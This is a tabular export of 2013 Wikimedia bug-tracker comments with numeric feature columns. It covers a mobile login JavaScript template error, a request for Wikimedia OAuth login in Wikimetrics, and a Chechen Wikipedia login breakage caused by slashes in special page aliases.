**Attached**: {F12200}",,,1386033965,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.8235294117647058,"Created attachment 13966
Errors in action

**Attached**: {F12200}"
264882,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"From IRC:

yurik-road:
awjr, seems like i can still repo it - https://en.m.wikipedia.org/wiki/New_York?debug=true -- and make sure you spoof X-CS=250-99 and User-Agent=android

I can verify - after setting my x-cs headers, I was able to trigger the error. Is this a zero bug though rather than mobilefrontend?

See attached screenshot.",,,1386033939,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,8.0,7.0,5.0,1.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,3.315068493150685,0.8082191780821918,"From IRC:

yurik-road:
awjr, seems like i can still repo it - URL -- and make sure you spoof X-CS=250-99 and User-Agent=android

I can verify - after setting my x-cs headers, I was able to trigger the error. Is this a zero bug though rather than mobilefrontend?

See attached screenshot."
264878,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},Yuri - how are you replicating this and on what wiki?,,,1386006797,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5833333333333335,1.0,Yuri - how are you replicating this and on what wiki?
264874,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},*** Bug 57766 has been marked as a duplicate of this bug. ***,,,1386006730,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57766 has been marked as a duplicate of this bug. ***
264870,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},Cannot replicate.,,,1385594306,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Cannot replicate.
264864,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1458",,,1385510964,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
264856,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1455",,,1385505612,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
59493,Allow Wikimedia OAuth login,"Currently, a Google account is required to log in into Wikimetrics.

Now OAuth has been deployed for Wikimedia accounts, https://metrics.wmflabs.org/login seems a good candidate to consume it.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1385251080,1387359680.0,PHID-USER-4opnqejtv7adgswtxy67,False,,False,PHID-TASK-yw42vj5h5opz3w6py6lb,task_description,resolved,True,c3,1,False,False,True,-84,True,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.18,0.72,"Currently, a Google account is required to log in into Wikimetrics.

Now OAuth has been deployed for Wikimedia accounts, URL seems a good candidate to consume it.

--------------------------
**Version**: unspecified
**Severity**: normal"
280357,Allow Wikimedia OAuth login,"thanks Nemo, I'll try to be more careful about linking to bugs in the future.",,,1388414681,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,22.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,3.5,0.9444444444444444,"thanks Nemo, I'll try to be more careful about linking to bugs in the future."
280354,Allow Wikimedia OAuth login,"(In reply to comment #3)
> This looks fixed to me

In https://gerrit.wikimedia.org/r/#/c/102618/ it seems",,,1388243570,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,True,,,-79,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.9333333333333333,"(In reply to comment #3)
QUOTE

In URL it seems"
280350,Allow Wikimedia OAuth login,This looks fixed to me,,,1387359680,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,3.6,1.0,This looks fixed to me
280346,Allow Wikimedia OAuth login,"This was definitely the plan all along.  I will get to this but I'm not sure if right away.  If you need this right away, I'd be happy to help with a gerrit Change",,,1385303623,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,False,,,-84,True,2.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,20.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,5.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1707317073170733,0.8048780487804879,"This was definitely the plan all along.  I will get to this but I'm not sure if right away.  If you need this right away, I'd be happy to help with a gerrit Change"
280341,Allow Wikimedia OAuth login,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics/cards/1284,,,1385251615,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Prioritization and scheduling of this bug is tracked on Mingle card URL
59410,"Login for content language ""ce"" broken because of ""/"" in special page name","Hi. We have a problem with the entrance and exit to the site.

Please correct synonyms, we are no longer able to enter the system under its

entrance

https://ce.wikipedia.org/w/index.php?title=%D0%91%D0%B5%D0%BB%D1%85%D0%B0%D0%BD:%D0%A7%D1%83%D0%B2%D0%B0%D0%BB%D0%B0%D1%80/%D1%8F%D0%BB%D0%B0%D1%80&returnto=%D0%9A%D0%BE%D1%8C%D1%80%D1%82%D0%B0+%D0%B0%D0%B3%D3%80%D0%BE

output

https://ce.wikipedia.org/w/index.php?title=%D0%91%D0%B5%D0%BB%D1%85%D0%B0%D0%BD:%D0%90%D1%80%D0%B0%D0%B2%D0%B0%D0%BB%D0%B0%D1%80/%D1%8F%D0%BB%D0%B0%D1%80&returnto=%D0%9A%D0%BE%D1%8C%D1%80%D1%82%D0%B0+%D0%B0%D0%B3%D3%80%D0%BE


Userlogin → Чудалар
Userlogout → Арадалар

--------------------------
**Version**: wmf-deployment
**Severity**: major",Needs Triage,90.0,1385114220,1385155180.0,PHID-USER-7326nrjc6zhnjwnxngjy,False,,False,PHID-TASK-n7phghrdsgveme7tbx73,task_description,resolved,True,c3,1,False,False,True,-84,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,16.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,4.0,6.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.8208955223880596,0.6716417910447762,"Hi. We have a problem with the entrance and exit to the site.

Please correct synonyms, we are no longer able to enter the system under its

entrance

URL

output

URL


Userlogin → Чудалар
Userlogout → Арадалар

--------------------------
**Version**: wmf-deployment
**Severity**: major"
275390,"Login for content language ""ce"" broken because of ""/"" in special page name",Earned. Thank you very much.,,,1385154460,,PHID-USER-7326nrjc6zhnjwnxngjy,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,Earned. Thank you very much.
275383,"Login for content language ""ce"" broken because of ""/"" in special page name","We are in the process of getting the update deployed on Wikimedia wikis, including ce.wikipedia.org. This is why the advise is to translate *what the source code says* and to not start inventing cool adaptations of what translators think will look cool.

Root cause of the issues was this change: https://translatewiki.net/w/i.php?title=MediaWiki:Sp-translate-data-SpecialPageAliases/ce&diff=prev&oldid=4793903",,,1385142133,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,2.0,3.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,7.0,9.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.327586206896552,0.7931034482758621,"We are in the process of getting the update deployed on Wikimedia wikis, including ce.wikipedia.org. This is why the advise is to translate *what the source code says* and to not start inventing cool adaptations of what translators think will look cool.

Root cause of the issues was this change: URL"
275377,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97032 merged by jenkins-bot:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97032",,,1385140020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 97032 merged by jenkins-bot:
Localisation updates from URL

GERRIT_URL"
275373,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97034 merged by Reedy:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97034",,,1385139752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.923076923076923,1.0,"Change 97034 merged by Reedy:
Localisation updates from URL

GERRIT_URL"
275369,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97033 merged by Reedy:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97033",,,1385139738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.923076923076923,1.0,"Change 97033 merged by Reedy:
Localisation updates from URL

GERRIT_URL"
275363,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97034 had a related patch set uploaded by Siebrand:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97034",,,1385139583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 97034 had a related patch set uploaded by Siebrand:
Localisation updates from URL

GERRIT_URL"
275357,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97033 had a related patch set uploaded by Siebrand:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97033",,,1385139565,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 97033 had a related patch set uploaded by Siebrand:
Localisation updates from URL

GERRIT_URL"
275351,"Login for content language ""ce"" broken because of ""/"" in special page name","Change 97032 had a related patch set uploaded by L10n-bot:
Localisation updates from https://translatewiki.net.

https://gerrit.wikimedia.org/r/97032",,,1385139456,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 97032 had a related patch set uploaded by L10n-bot:
Localisation updates from URL

GERRIT_URL"
275345,"Login for content language ""ce"" broken because of ""/"" in special page name","Anyone know how long this has been broken? or if slashes in special page aliases ever worked?

It appears that the special page aliases were added in July, with slashes, and that the version of MediaWiki deployed then (1.22wmf10) also had broken login page.

Anyway, removing the slashes will fix it but new translations are not deployed immediately.  They should be deployed sometime in the next 6 hours or so.",,,1385129282,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-n7phghrdsgveme7tbx73,task_subcomment,,True,c3,1,True,,,-84,True,0.0,1.0,0.0,5.0,1.0,5.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,10.0,1.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,5.0,7.0,5.0,5.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,10.0,2.0,2.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.144578313253012,0.7349397590361446,"Anyone know how long this has been broken? or if slashes in special page aliases ever worked?

It appears that the special page aliases were added in July, with slashes, and that the version of MediaWiki deployed then (1.22wmf10) also had broken login page.

Anyway, removing the slashes will fix it but new translations are not deployed immediately.  They should be deployed sometime in the next 6 hours or so."
